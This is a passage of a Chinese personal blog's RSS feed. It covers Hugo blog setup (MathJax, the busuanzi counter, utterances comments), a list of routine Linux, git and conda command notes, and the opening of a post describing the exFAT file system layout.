</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="nx">TeX</span><span class="o">:</span> <span class="p">{</span> <span class="nx">equationNumbers</span><span class="o">:</span> <span class="p">{</span> <span class="nx">autoNumber</span><span class="o">:</span> <span class="s2">&#34;AMS&#34;</span> <span class="p">},</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">         <span class="nx">extensions</span><span class="o">:</span> <span class="p">[</span><span class="s2">&#34;AMSmath.js&#34;</span><span class="p">,</span> <span class="s2">&#34;AMSsymbols.js&#34;</span><span class="p">]</span> <span class="p">}</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="nx">MathJax</span><span class="p">.</span><span class="nx">Hub</span><span class="p">.</span><span class="nx">Queue</span><span class="p">(</span><span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="c1">// Fix &lt;code&gt; tags after MathJax finishes running. This is a
</span></span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="c1">// hack to overcome a shortcoming of Markdown. Discussion at
</span></span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="c1">// https://github.com/mojombo/jekyll/issues/199
</span></span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="kd">var</span> <span class="nx">all</span> <span class="o">=</span> <span class="nx">MathJax</span><span class="p">.</span><span class="nx">Hub</span><span class="p">.</span><span class="nx">getAllJax</span><span class="p">(),</span> <span class="nx">i</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="k">for</span><span class="p">(</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">all</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="nx">all</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">SourceElement</span><span class="p">().</span><span class="nx">parentNode</span><span class="p">.</span><span class="nx">className</span> <span class="o">+=</span> <span class="s1">&#39; has-jax&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="nt">code</span><span class="p">.</span><span class="nc">has-jax</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="k">font</span><span class="p">:</span> <span class="kc">inherit</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="k">font-size</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="k">background</span><span class="p">:</span> <span class="kc">inherit</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">border</span><span class="p">:</span> <span class="kc">inherit</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#e8eef2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span></span></span></code></pre></div><p>其中的 Mathjax CDN 地址也可以换成国内源：</p>
<p><code>https://cdn.bootcss.com/mathjax/2.7.3/MathJax.js?config=TeX-AMS-MML_HTMLorMML</code></p>
<p>最后的 CSS 里，color 需要替换成博客的 body 类的颜色，我的这个主题是 <code>#e8eef2</code> 。</p>
<p>最后把这个 partial 模板添加到每个页面中即可，比如加入 footer 中。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl">{{ partial &#34;mathjax.html&#34; . }}</span></span></code></pre></div><p>在 Hugo 渲染的时候，<code>layouts/</code> 中的文件优先级是高于 <code>themes/***/layouts/</code> 中文件的优先级的。为了避免直接修改主题中的代码，可以把对应的文件复制到 <code>layouts/</code> 中的对应位置，然后对其修改，就可以在生成时覆盖原主题的文件。</p>
<p>而我用的 Hermit 主题中，可以使用额外的 <code>extra-head.html</code> 和 <code>extra-foot.html</code> 植入额外代码，更加方便。</p>
<h3 id="配不蒜子">配不蒜子</h3>
<p>虽然 Hugo 的确提供了 Google Analytics 的原生支持，但是毕竟受限于国情，而且 Google Analytics 没法在网页上显示访客数量。这时候就可以使用不蒜子进行访客计数支持。</p>
<p>不蒜子的配置非常简单，官方宣称两行代码搞定计数。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">async</span> <span class="na">src</span><span class="o">=</span><span class="s">&#34;//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="p">&lt;</span><span class="nt">span</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;busuanzi_container_site_pv&#34;</span><span class="p">&gt;</span>本站总访问量<span class="p">&lt;</span><span class="nt">span</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;busuanzi_value_site_pv&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">span</span><span class="p">&gt;</span>次<span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span></span></span></code></pre></div><blockquote>
<p><a href="https://busuanzi.ibruce.info/">不蒜子 - 极简网页计数器</a></p>
</blockquote>
<p>实际操作时，第一行引入 js 代码同之前的 Mathjax 一样添加到每个页面中，比如添加到 footer 里。</p>
<p>第二行代码可以在 <code>layouts/partials/</code> 下新建文件 <code>busuanzi.html</code> 然后放入其中。可以做些自定义，如下：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">&lt;</span><span class="nt">span</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;busuanzi_container_page_pv&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">  <span class="p">&lt;</span><span class="nt">code</span><span class="p">&gt;</span>本文阅读量 <span class="p">&lt;</span><span class="nt">span</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;busuanzi_value_page_pv&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">span</span><span class="p">&gt;&lt;/</span><span class="nt">code</span><span class="p">&gt;&lt;</span><span class="nt">br</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="p">&lt;</span><span class="nt">span</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;busuanzi_container_site_uv&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">  <span class="p">&lt;</span><span class="nt">code</span><span class="p">&gt;</span>本站访客量 <span class="p">&lt;</span><span class="nt">span</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;busuanzi_value_site_uv&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">span</span><span class="p">&gt;&lt;/</span><span class="nt">code</span><span class="p">&gt;&lt;</span><span class="nt">br</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span></span></span></code></pre></div><blockquote>
<p><a href="https://ibruce.info/2015/04/04/busuanzi/">不蒜子官方文档</a></p>
</blockquote>
<p>随后找到 posts 渲染的模板文件，Hermit 主题的模板对应位置在 <code>themes/hermit/layouts/posts/single.html</code> 。复制到 <code>layouts/posts/</code> 下，然后在需要的位置插入以下代码即可：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl">{{ partial &#34;busuanzi.html&#34; . }}</span></span></code></pre></div><h3 id="配-utterance">配 utterance</h3>
<p>Hugo 原生支持 Disqus 作为评论系统，但是 Disqus 在国内被墙了……</p>
<p>如果不在乎被屏蔽的问题，配置 Disqus 非常容易。如果主题支持原生的评论模板渲染，只需要到 Disqus 中注册账号并且配置好，然后在 <code>config.toml</code> 中设置这一个属性即可：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="ln">1</span><span class="cl"><span class="nx">disqusShortname</span> <span class="p">=</span> <span class="s2">&#34;yourdiscussshortname&#34;</span></span></span></code></pre></div><blockquote>
<p><a href="https://gohugo.io/content-management/comments/">Comments | Hugo</a></p>
</blockquote>
<p>Disqus 非常成熟，评论 UI 也很好看，可惜被隔绝在高墙之外。替代品在官方文档里也列出来很多，只要是支持静态博客的评论系统基本都可以用上。（毕竟就是改个模板的事情）</p>
<p>选择博客评论系统有四大标准：安全，好看，方便，便宜。然而安全和便宜基本上是和方便互斥了，因为安全且免费通常意味着需要自行在服务器上配置数据库和评论服务，不像 Wordpress 内置本地评论，在 Hugo 这里显然需要花不少功夫去配置和维护。</p>
<p>我最终选择了 <a href="https://utteranc.es/">utterance</a> 作为我的博客评论系统。utterance 是一个轻量级并且开源的评论系统，非常有创意的使用了 Github issue 作为评论的存储和显示方式，于是同时达到了免费和好看，安全性也有保障。唯一缺点是不支持匿名评论，但是评论需要的账号是 Github 账号（第一次需要授权 utterance-bot），考虑到会来看我博客的人不太可能没有 Github 账号，所以也不是大问题。</p>
<p>配置非常简单。首先新建一个 public repo 用于存放评论，需要启用 issues 并安装 <a href="https://github.com/apps/utterances">utterance app</a> 。</p>
<p>在 <code>config.toml</code> 中添加对应的配置信息：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">[</span><span class="nx">params</span><span class="p">.</span><span class="nx">utterances</span><span class="p">]</span>     <span class="c"># utteranc is a comment system based on GitHub issues. see https://utteranc.es</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">  <span class="nx">owner</span> <span class="p">=</span> <span class="s2">&#34;xxxx&#34;</span>        <span class="c"># github username</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">  <span class="nx">repo</span> <span class="p">=</span> <span class="s2">&#34;yyyy&#34;</span>         <span class="c"># The repo to store comments</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">  <span class="nx">issueTerm</span> <span class="p">=</span> <span class="s2">&#34;pathname&#34;</span>  
</span></span><span class="line"><span class="ln">5</span><span class="cl">  <span class="nx">theme</span> <span class="p">=</span> <span class="s2">&#34;github-light&#34;</span></span></span></code></pre></div><p>配置的可选项可以在官方文档里找到：<a href="https://utteranc.es/">https://utteranc.es/</a></p>
<p>然后在 <code>layouts/partials/</code> 下新建 <code>utterance.html</code>，放入以下代码：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">&#34;https://utteranc.es/client.js&#34;</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">        <span class="na">repo</span><span class="o">=</span><span class="s">&#34;{{ .Site.Params.utterances.owner }}/{{ .Site.Params.utterances.repo }}&#34;</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">        <span class="na">issue-term</span><span class="o">=</span><span class="s">&#34;{{ .Site.Params.utterances.issueTerm }}&#34;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">        <span class="na">theme</span><span class="o">=</span><span class="s">&#34;{{ .Site.Params.utterances.theme }}&#34;</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">        <span class="na">crossorigin</span><span class="o">=</span><span class="s">&#34;anonymous&#34;</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">        <span class="na">async</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="p">&lt;</span><span class="nt">noscript</span><span class="p">&gt;</span>Please enable JavaScript to view the comments powered by <span class="p">&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;https://github.com/utterance&#34;</span><span class="p">&gt;</span>utterances<span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span>.<span class="p">&lt;/</span><span class="nt">noscript</span><span class="p">&gt;</span></span></span></code></pre></div><blockquote>
<p><a href="https://rileyng.github.io/post/hugo-utter/">Hugo 添加评论系统 utterances</a></p>
</blockquote>
<p>把 <code>themes</code> 中的 <code>comments.html</code> 复制到 <code>layouts/partials/</code> 下，并插入以下代码：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl">{{- if .Site.Params.utterances.owner}}
</span></span><span class="line"><span class="ln">2</span><span class="cl">{{ partial &#34;utterance.html&#34; . }}
</span></span><span class="line"><span class="ln">3</span><span class="cl">{{- end }}</span></span></code></pre></div><p>完工。</p>
]]></content:encoded>
    </item>
    <item>
      <title>Quick Notes</title>
      <link>https://sttev.com/posts/20-quick-notes/</link>
      <pubDate>Sun, 28 Jul 2019 19:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/20-quick-notes/</guid>
      <description>&lt;p&gt;SSH 免密码&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;ssh-keygen&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;ssh-copy-id user@host&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;转换 CRLF - LF&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;find . -type f &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; xargs dos2unix&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;git 记住密码&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;git config --global credential.helper store&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 清空&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;git config --global --unset credential.helper&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;apt 更新忽略某包&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt-mark hold xxx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt-mark unhold xxx&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;WSL 换 apt 源&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 首先将原配置文件备份&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 然后 VIM 打开，替换&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;:%s/security.ubuntu/mirrors.aliyun/g&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;:%s/archive.ubuntu/mirrors.aliyun/g&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 最后更新&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt update&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;微信 QQ 关闭 x5 内核&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>SSH 免密码</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ssh-keygen
</span></span><span class="line"><span class="ln">2</span><span class="cl">ssh-copy-id user@host</span></span></code></pre></div><p>转换 CRLF - LF</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">find . -type f <span class="p">|</span> xargs dos2unix</span></span></code></pre></div><p>git 记住密码</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">git config --global credential.helper store
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="c1"># 清空</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">git config --global --unset credential.helper</span></span></code></pre></div><p>apt 更新忽略某包</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt-mark hold xxx
</span></span><span class="line"><span class="ln">2</span><span class="cl">sudo apt-mark unhold xxx</span></span></code></pre></div><p>WSL 换 apt 源</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="c1"># 首先将原配置文件备份</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="c1"># 然后 VIM 打开，替换</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">:%s/security.ubuntu/mirrors.aliyun/g
</span></span><span class="line"><span class="ln">5</span><span class="cl">:%s/archive.ubuntu/mirrors.aliyun/g
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="c1"># 最后更新</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">sudo apt update</span></span></code></pre></div><p>微信 QQ 关闭 x5 内核</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">debugtbs.qq.com</span></span></code></pre></div><p>Conda 使用</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1"># 包管理</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">conda update --all / conda update conda
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">conda clean --all
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">conda install pkg_name
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">conda install -n env_name pkg_name
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">conda remove -n env_name pkg_name
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">conda list
</span></span><span class="line"><span class="ln">10</span><span class="cl">conda list -n env_name
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl">conda search pkg_name
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="c1"># 换源</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ 
</span></span><span class="line"><span class="ln">16</span><span class="cl">conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ 
</span></span><span class="line"><span class="ln">17</span><span class="cl">conda config --set show_channel_urls yes
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="c1"># 环境管理</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="c1"># Doc: https://docs.conda.io/projects/conda/en/latest/user-guide/tasks/manage-environments.html</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">conda create --name env_name <span class="nv">python</span><span class="o">=</span>*.*
</span></span><span class="line"><span class="ln">22</span><span class="cl">conda create --name env_name --clone othher_env  <span class="c1"># Clone other envs</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">conda remove --name env_name --all
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl">conda info -e
</span></span><span class="line"><span class="ln">26</span><span class="cl">conda info --env
</span></span><span class="line"><span class="ln">27</span><span class="cl">conda env list
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="c1"># These three are equivalent</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl">conda activate env_name
</span></span><span class="line"><span class="ln">31</span><span class="cl">conda deactivate env_name
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="c1"># These only work on conda 4.6 and later versions.</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="c1"># For conda versions prior to 4.6, run:</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="c1"># Windows: activate or deactivate</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="c1"># Linux and macOS: source activate or source deactivate</span></span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>exFAT 文件系统</title>
      <link>https://sttev.com/posts/10-exfat/</link>
      <pubDate>Sun, 16 Dec 2018 20:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/10-exfat/</guid>
      <description>&lt;h2 id=&#34;1-目的&#34;&gt;1. 目的&lt;/h2&gt;&#xA;&lt;p&gt;由于闪存设备容量日益增加，微软于 1996 年发布的 FAT32 系统不再能够满足需求。FAT32 的最大不足在于只支持最大 4 GB 的单个文件，这在很多情况下是不可接受的，也不满足 SDHD 标准的要求。于是微软在 2006 年发布了 exFAT 文件系统，又名 FAT64，旨在解决 FAT32 的诸多问题。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="1-目的">1. 目的</h2>
<p>由于闪存设备容量日益增加，微软于 1996 年发布的 FAT32 系统不再能够满足需求。FAT32 的最大不足在于只支持最大 4 GB 的单个文件，这在很多情况下是不可接受的，也不满足 SDHD 标准的要求。于是微软在 2006 年发布了 exFAT 文件系统，又名 FAT64，旨在解决 FAT32 的诸多问题。</p>
<h2 id="2-结构">2. 结构</h2>
<h3 id="21-简介">2.1 简介</h3>
<ul>
<li>磁盘空间
<ul>
<li>主引导区域</li>
<li>主引导备份</li>
<li>FAT 区域
<ul>
<li>FAT 1</li>
<li>FAT 2 （可选）</li>
</ul>
</li>
<li>数据区域
<ul>
<li>簇堆对齐区</li>
<li>簇堆
<ul>
<li>簇堆分配位示图</li>
<li>大写转换表</li>
</ul>
</li>
<li>数据区</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="22-详细说明">2.2 详细说明</h3>
<ul>
<li>
<p>主引导区域</p>
<table>
  <thead>
      <tr>
          <th>位置</th>
          <th>大小</th>
          <th>块名</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>0</td>
          <td>1</td>
          <td>引导扇区</td>
      </tr>
      <tr>
          <td>1</td>
          <td>8</td>
          <td>扩展引导扇区</td>
      </tr>
      <tr>
          <td>9</td>
          <td>1</td>
          <td>OEM 信息记录</td>
      </tr>
      <tr>
          <td>10</td>
          <td>1</td>
          <td>保留</td>
      </tr>
      <tr>
          <td>11</td>
          <td>1</td>
          <td>引导校验扇区</td>
      </tr>
  </tbody>
</table>
</li>
<li>
<p>主引导备份区域</p>
<table>
  <thead>
      <tr>
          <th>位置</th>
          <th>大小</th>
          <th>块名</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>12</td>
          <td>1</td>
          <td>引导扇区</td>
      </tr>
      <tr>
          <td>13</td>
          <td>8</td>
          <td>扩展引导扇区</td>
      </tr>
      <tr>
          <td>21</td>
          <td>1</td>
          <td>OEM 信息记录</td>
      </tr>
      <tr>
          <td>22</td>
          <td>1</td>
          <td>保留</td>
      </tr>
      <tr>
          <td>23</td>
          <td>1</td>
          <td>引导校验扇区</td>
      </tr>
  </tbody>
</table>
</li>
<li>
<p>FAT 区域</p>
<table>
  <thead>
      <tr>
          <th>位置</th>
          <th>大小</th>
          <th>块名</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>24</td>
          <td>fat_offset - 24</td>
          <td>FAT队列</td>
      </tr>
      <tr>
          <td>fat_offset</td>
          <td>fat_length</td>
          <td>FAT 表1</td>
      </tr>
      <tr>
          <td>fat_offset + fat_length</td>
          <td>fat_length</td>
          <td>FAT 表2 （仅 TexFAT）</td>
      </tr>
  </tbody>
</table>
<blockquote>
<p>注：TexFAT 为事务安全的 exFAT 文件系统（A transaction-safe exFAT）。</p>
</blockquote>
</li>
<li>
<p>数据区域</p>
<table>
  <thead>
      <tr>
          <th>位置</th>
          <th>大小</th>
          <th>块名</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>fat_offset + fat_length * fat_number</td>
          <td>cluster_heap_offset - (fat_offset + fat_length * fat_number)</td>
          <td>簇堆对齐（Cluster Heap Alignment）</td>
      </tr>
      <tr>
          <td>cluster_heap_offset</td>
          <td>cluster_number $\times$ $2^{SectorsPerClusterShift}$</td>
          <td>簇堆</td>
      </tr>
      <tr>
          <td>cluster_heap_offset + cluster_number $\times$ $2^{SectorsPerClusterShift}$</td>
          <td>volume_length - (cluster_number $\times$ $2^{SectorsPerClusterShift}$)</td>
          <td>数据区</td>
      </tr>
  </tbody>
</table>
</li>
</ul>
<h3 id="23-簇堆">2.3 簇堆</h3>
<p>簇堆是 exFAT 文件系统设置簇是否保存数据的地方，其构造如下：</p>
<blockquote>
<ul>
<li>
<p>Root Directory  根目录</p>
</li>
<li>
<p>Files  文件</p>
</li>
<li>
<p>Directories  目录</p>
</li>
<li>
<p>Bitmap Allocation Table  簇堆分配位示图</p>
</li>
<li>
<p>UP-Case Table  大写转换表</p>
</li>
</ul>
</blockquote>
